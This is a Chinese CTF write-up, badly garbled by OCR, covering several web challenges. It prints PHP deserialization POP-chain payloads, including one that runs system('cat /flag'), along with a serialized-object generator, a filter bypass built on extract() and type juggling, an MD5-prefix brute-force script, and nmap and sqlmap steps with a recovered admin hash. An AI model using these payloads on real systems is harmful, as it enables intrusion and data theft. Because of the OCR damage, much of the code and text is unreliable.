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index.php fXH%

<?php

include "class.php";
//class.php.txt
highlight file(__ FILE_ );
$a = $_GET['pop'];

$b = $ GET['argv'];
$class = unserialize($a);
$class->NGPaqV($b);

HEREZKRFIIMN, HITH class.php.txt FEEET .
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GET /?pop=

0:6:"NGPaqV":1:{s:7:"ZwSdRyt";0:6:"0OcZgBy":1: {s 7:"yHPAQE1";0:6:"gGHPEt":1:{s

:7:"I0Gugdz";0:6:"Eckd7K":1: (s 7:"bR52BKO";0:6: "mRhBx7":1:{s:7:"uMKr13G";0:6:
"v0OXnF":1:{s:7:"S9vax13";0:6: "LvG620" :1:{ :"AByNde"‘O "mDnkFh":1: {s 7:"
SLzu22G"; xk6AMC":1:{s:7:"anOOTr” 0:6:"1IcDR2":1:{ :"Q7WCRu9";0:6:"K11

ZH6YAPE";0:6: "RLadP4":1:{s:7:"FkQAz7e";0: LNv8hP":1:{s:7:"kizZR
"Q0Ehc0":1:{s:7:"EzebmbP";0:6:"zuNg7f":1:{s:7:"TNngTy9";0:6:"£TTYmp"
:1:{s:7:"Ma3Koaf";0:6:"UOPWFh":1:{s:7:"w2rcmoW";0:6:"xxAKFU":1:{s:7:"YRn1G6B"
70:6:"MwVbup":1:{s:7:"qFWGWF6";0:6: "Br2Com":1:{s:7:"asGzyvk";0:6: "LTswgA":1:{
$:7:"GP8GMDp";0:6:"S0bXG3":1:{s:7:"t8FQmMBg";0:6:"2zOTHpM":1:{s:7: "HiDCYPi";0:6
:"E984fn":1:{s:7:"GcQIwNy";0:6:"XCUG62":1:{s:7:"rLTCpuG";N;}}}}}}}}}}}}}}}1}1}}
}}}}}}}sargv=system('cat%20/flag');// HITP/1.1

Host: eci-2zeajgj31ln7bp6xis7zy.cloudecil.ichungiu.com

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4499.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/webp,i
mage/apng, */*;q=0.8,application/signed-exchange;v=b3;g=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: _ jsluid_h=73566£8735ce69d32c2cedad2935abd7

Connection: close
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HFBBE B2 www.zip » TEJS /2 index.php

<meta charset=

"utf-8">

<?php
//hint is in hint.php
error_reporting(1);

class Start

{

public $name="guest';
public $flag="syst3m("cat 127.0.0.1/etc/hint");";

public function __ construct(){

14
15

HTTP/1.1 200 OK

Date: Sat, 12 Jun 2021 11:02:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1524

Connection: close

Vary: Accept-Encoding

Vary: Accept-Encoding

X-Via-JSL: 2e2d327,-

X-Cache: bypass

<code><span style="color: #000000">
<br /><span style="color: #0000BB">&lt;?php<br /></span><span style="colo:
#007700">include&nbsp;</span><span style="color: #DD0000">"class.php"</sp
span style="color: #007700">;<br /></span><span style="color: #FF8000">
//class.php.txt<br /></span><span style="color: #0000BB">highlight file</
><span style="color: #007700">(</span><span style="color: #0000BB"> FILE
span><span style="color: #007700">);<br /></span><span style="color: #000
>$a&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="
color: #0000BB">$_GET</span><span style="color: #007700">[</span><span st
"color: #DD0000">'pop'</span><span style="color: #007700">];<br /></span>
span style="color: #0000BB">$b&nbsp;</span><span style="color: #007700">
=&nbsp;</span><span style="color: #0000BB">$_ GET</span><span style="color
#007700">[</span><span style="color: #DD0000">'argv'</span><span style="
color: #007700">];<br /></span><span style="color: #0000BB">$class&nbsp;<
span><span style="color: #007700">=&nbsp;</span><span style="color: #0000l
unserialize</span><span style="color: #007700">(</span><span style="color
#0000BB">$a</span><span style="color: #007700">);<br /></span><span style
color: #0000BB">$class</span><span style="color: #007700">-&gt;</span><sp
style="color: #0000BB">yRzRGb</span><span style="color: #007700">(</span>
span style="color: #0000BB">$b</span><span style="color: #007700">);<br /:
span>

</sppn>
</cofie>f1lag{71460cd9-39d1-40£1-8226-eb7747bcf4d5}

echo "I think you need /etc/hint . Before this you need to see the source code";

public function _sayhello(){
echo $this->name;

return 'ok';

public function
echo "hi";
$this->_sayhello();

__wakeup(){

}
public function _ get($cc){

echo "give you flag : ".$this->flag;

return ;

class Info

{

private $phonenumber=123123;
public $promise='I do'



public function _ construct(){
$this->promise="I will not !!!!";
return $this->promise;

public function _ toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee’];

¥
¥
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a="";
public function _ get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
¥
public function __ invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
¥
¥

if(isset($ _GET['hello'])){
unserialize($ GET['hello']);
telse{
$hi = new Start();

?>
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1. ZHHgetiEE AN~ heloZ$s, BEARFFILKERNE, SB3HMAStarEH K __wakeup J7i%

2. _ wakeupFiE&HATsayhello()XAN ik, WEnameBHERINfoRK— A5, AR EBURFHEITET,
At L2 B 301 B Info2S ) toString J5i%

3. _ toString 7%k [Elfile[filename’iiffiillee[ fliilleennaammee’ @1, 1 Efile[filename’7ZRoomM—M5t %, F NRoomEH
w A fhillee[ flilleennaammee XA B M, X HUH 2T AT i) B8 MR I8, B A& B 3 A RoomE ) get 7k

4. _ gethiEia@ R E S function, )P ATfunctionr vk, R a/EtERRoomiI— AN R, XEAH S T4 X SAE ik H0R
F, B4 B3k Room2EH invoke 75k

5. _invoke AT Get_hintEi %, Get_hint()¥flagtlbase64 4 i 34T BN i 3k

payload

<?php

class Start

{
public $name="guest"';
public $flag="'1";

}

class Info

{
private $phonenumber = 123123;
public $promise = 'Ido’;

¥

class Room

{
public $filename="'/flag"';
public $sth_to_set;
public $a="";

}

$a=new Start();

$a->name=new Info();

$a->name->file[ 'filename' ]=new Room();
$a->name->file[ 'filename']->a=new Room();
echo serialize(%$a);

?>
base64f#i515 Flflag
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key1

<?php
header('Content-type:text/html;charset=utf-8");
error_reporting(0);

highlight_file(__file_ );

function filter($string){

$filter_word = array('php','flag', 'index', 'KeYllhv', 'source', 'key','eval’,'echo’,'\$', '\(',"'\.", 'num',"'h
tml',"\/',"\,"',"\"'", '0000000");

$filter_phrase= '/'.implode('|',$filter_word).'/";



return preg_replace($filter_phrase,'',$string);

if($ppp){
unset($ppp);

¥
$ppp[ 'numberl'] =

$ppp[ "'number2" ]

1

1
$ppp[ 'nunber3"] "1t

$ppp[ 'number4’ ] 1

1

$ppp[ 'numbers5" ]

extract($_POST);

$numl = filter($ppp[ 'numberi']);
$num2 = filter($ppp[ 'number2']);
$num3 = filter($ppp[ 'number3']);
$numd = filter($ppp[ 'numberd']);
$num5 = filter($ppp[ 'number5']);

if(isset($numl) && is_numeric($numl)){
die("dEHF");

b
else{
if($numl > 1024){
echo "#£—F";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000)
echo "§_2";
if(isset($num3) && '4bf2ilcd' === substr(md5($num3),0,7)){
echo "H=F";
if(!1($numd < 0)&&($numd == 0)&&($numid <= 0)&&(strlen($numid) > 6)&&(strlen($numd) < 8)&&isset($nu
md) ){

echo "HIE";
if(lisset($num5) || (strlen($num5)==0)) die("no");
$b=json_decode(@$num5) ;
if($y = $b === NULL){
if($y === true){

echo "&HE";

include 'KeY1llhv.php';

echo $KEY1;

telse{
echo 'hello’;
die("no");

telse{
die("no");
}
telse{
die("no");
¥
telse{

AsA/MAATN .
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}
telse{
die("nol11l");
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Bt Bk s
md52; ¥t

import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5 BB (E CA1 KIFIEH A
# #IF substr(md5(captcha), 0, 6)=60b7ef

def mdS(s): # 7EMD5FE/HE
return hashlib.md5(str(s).encode( 'utf-8')).hexdigest()

keymds = '4bf2lcd'  #E41Hmd5 BB
md5start = @ # WEHHCHIIEE
md5length = 7

def findmd5(sss): # FAJEE i EHmds Wi
key = sss.split(':")
start = int(key[Q]) # H#WE
end = int(key[1]) # SHNE
result = @
for i in range(start, end):
# print(md5(i)[md5start:md5Length])
if md5(i)[0:7] == keymd5: # BINEFE
result = i
print(result) # FTH
break

list=[] # =#F/#

for i in range(10): # ZLEHHFINE HiE54FE
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))

pool = ThreadPool() # ZLFETSH

pool.map(findmdS, list) # & 5=457#

pool.close()

pool.join()

FREE R
ikjsonf@# b AR BRI AT

payload

ppp[numberl]=1025a&ppp[number2]=1e9&ppp[number3]=61823470&ppp[number4]=abcdefg&ppp[number5]={"key':0}



fi—EHR_EFE - ESIESEREKEY1{e1e1d3d40573127e9ee0480caf1283d6}

[w ﬂ Elements Console HackBar Sources Netwark Performance Memory Application Lighthouse Adblock Plus

LOAD SPLIT EXECUTE TEST -~ sQLl - XSS -~ LFI ~ SSTI ~ ENCODING ~ HASHING ~

URL

http://127.0.0.1/test.php

Enable POST application/x-www-form-urlencoded - ADD HEADER

Body
ppp[number1]=1025a&ppp[number2]=1e9&ppp[number3]=61823470&ppp[number4]=abcdefg&ppp[numbers]={key"0}

key2
—FF U SE R A Blkey2 EHETE — KR¥Edoc S, BHER JLKE KRR, REw
BENMARS 55 (5% wp)

import os
import docx

def dir_file(file_path):
file_list = []
for top, dirs, non_dirs in os.walk(file_path):
for item in non_dirs:
file_list.append(os.path.join(top, item))
return file_list

docx_list = filter(lambda s: s.endswith('.docx'), dir_file('five_month"))

for docx_file in docx_list:
try:
docx_object = docx.Document(docx_file)
except docx.opc.exceptions.PackageNotFoundError:
print('open failed: {}'.format(docx_file))
continue
for para in docx_object.paragraphs:
if "KEY2" in para.text:
print(docx_file)
print(para.text)

break
Run: key?2
I C:\Users\32662\AppData\Local\Programs\Python\Python39\python.exe E:/project/python/key2.py
Y five_month\5.15\VR_4\P7hoSsIdttUqaIlIxG2TVwKTyi9.docx
= KEY2{T5f000d61819151G61114213a3a0lnblfsS}
=t
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H FBWAA 2 /hint
Vi 823%™, Tryto scan 35000-40000 A A

i Flnmap #1735 D336

nmap 47.104.136.46 -p35000-40000

V117 5 1 FISQLMapZE B b — 104, S 2K S 5
admin/99f609527226e076d668668582ac4420

HENB &, REI—RSCHE AR, B R RERARY, LTl (HEERTBEEE .
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